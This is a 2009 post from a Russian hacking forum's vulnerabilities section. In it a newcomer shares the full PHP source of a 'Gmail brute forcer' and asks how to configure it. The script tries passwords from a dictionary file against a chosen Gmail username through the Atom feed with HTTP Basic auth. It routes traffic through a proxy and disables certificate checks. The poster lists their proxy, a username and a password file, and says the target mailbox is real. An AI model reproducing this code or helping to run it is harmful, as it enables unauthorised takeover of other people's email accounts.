ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > E-Mail
   
 
 
Опции темы Поиск в этой теме Опции просмотра

LARIKA Gmail Brute Forcer [PHP]
  #1  
Старый 25.07.2009, 11:42
Аватар для dvetreti
dvetreti
Новичок
Регистрация: 18.07.2009
Сообщений: 5
Провел на форуме:
19283

Репутация: 0
Question LARIKA Gmail Brute Forcer [PHP]

Подскажите новичку, как правильно настроить и запустить этот код:

PHP код:
<?php 
 
// LARIKA Gmail Brute Forcer 
 
$dict "";      // Your dictionary file here 
$username "";  // Your username here 
$proxy "";     // Your proxy here
$port "";      // Your proxy port here
 
    
$headers = array( 
    
"Host: mail.google.com"
    
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4"
    
"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
    
"Accept-Language: en-us,en;q=0.5"
    
"Accept-Encoding: text"# No gzip, it only clutters your code! 
    
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7"
    
"Date: ".date(DATE_RFC822
    ); 
 
    
$c curl_init('https://mail.google.com/mail/feed/atom'); 
    
curl_setopt($cCURLOPT_PROXY$proxy);
    
curl_setopt($cCURLOPT_PROXYPORT$port);
    
curl_setopt($cCURLOPT_HTTPAUTHCURLAUTH_ANY); // use authentication 
    
curl_setopt($cCURLOPT_HTTPHEADER$headers); // send the headers 
    
curl_setopt($cCURLOPT_RETURNTRANSFER1); // We need to fetch something from a string, so no direct output! 
    
curl_setopt($cCURLOPT_FOLLOWLOCATION1); // we get redirected, so follow 
    
curl_setopt($cCURLOPT_SSL_VERIFYPEER0); 
    
curl_setopt($cCURLOPT_SSL_VERIFYHOST1); 
    
curl_setopt($cCURLOPT_UNRESTRICTED_AUTH1); // always stay authorised 
    
$wrong curl_exec($c); // Get it 
    
curl_close($c); // Close the curl stream 
 
 
foreach(file($dict) as $line

    
$word str_replace("\r\n"""$line); 
           if(
check_correct($username$word$wrong)) {
            die(
"Found the password : ".$word.""); 
        } 
 

 
 
// Function for checking whether the username and password are correct 
function check_correct($username$password$wrong

$headers1 = array( 
    
"Host: gmail.google.com"
    
"Authorization: Basic ".base64_encode($username.':'.$password), 
    
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4"
    
"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
    
"Accept-Language: en-gb,en;q=0.5"
    
"Accept-Encoding: text"
    
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7"
    
"Date: ".date(DATE_RFC822
); 
 
$c curl_init('https://gmail.google.com/gmail/feed/atom'); 
curl_setopt($cCURLOPT_PROXY$proxy);
curl_setopt($cCURLOPT_PROXYPORT$port);
curl_setopt($cCURLOPT_HTTPAUTHCURLAUTH_ANY); 
curl_setopt($cCURLOPT_COOKIESESSIONtrue); 
curl_setopt($cCURLOPT_HTTPHEADER$headers1); 
curl_setopt($cCURLOPT_RETURNTRANSFER1); 
curl_setopt($cCURLOPT_FOLLOWLOCATION1); 
curl_setopt($cCURLOPT_SSL_VERIFYPEER0); 
curl_setopt($cCURLOPT_SSL_VERIFYHOST1); 
curl_setopt($cCURLOPT_UNRESTRICTED_AUTH1); 
curl_setopt($cCURLOPT_SSL_VERIFYHOST1); 
$str curl_exec($c); 
curl_close($c); 
print 
$str// for debug 
        
if($str != $wrong) {return true;} 
        else {return 
false;} 

 
 
?>
После запуска, на странице выскакивает сообщение:
Fatal error: Call to undefined function curl_init() in /home/tu2.ru/n/ni/nic/htdocs/test/index.php on line 20

Может быть не правильно заполняю:
$dict = "pass.txt"
$username = "klgdfs"
$proxy = "212.49.116.186"
$port = "80"

pass.txt положил туда же, куда и php-файл.
мыло реальное, прокси рабочее...
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[ Web ] Brute Forcer [x26]VOLAND Избранное 471 14.06.2010 12:35
[ Web ] Brute forcer _FallenAngel_ Болталка 3 20.04.2009 16:32
Google запустил 40 новых инструментов в Gmail Vanterlog Мировые новости 0 01.04.2009 22:19



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ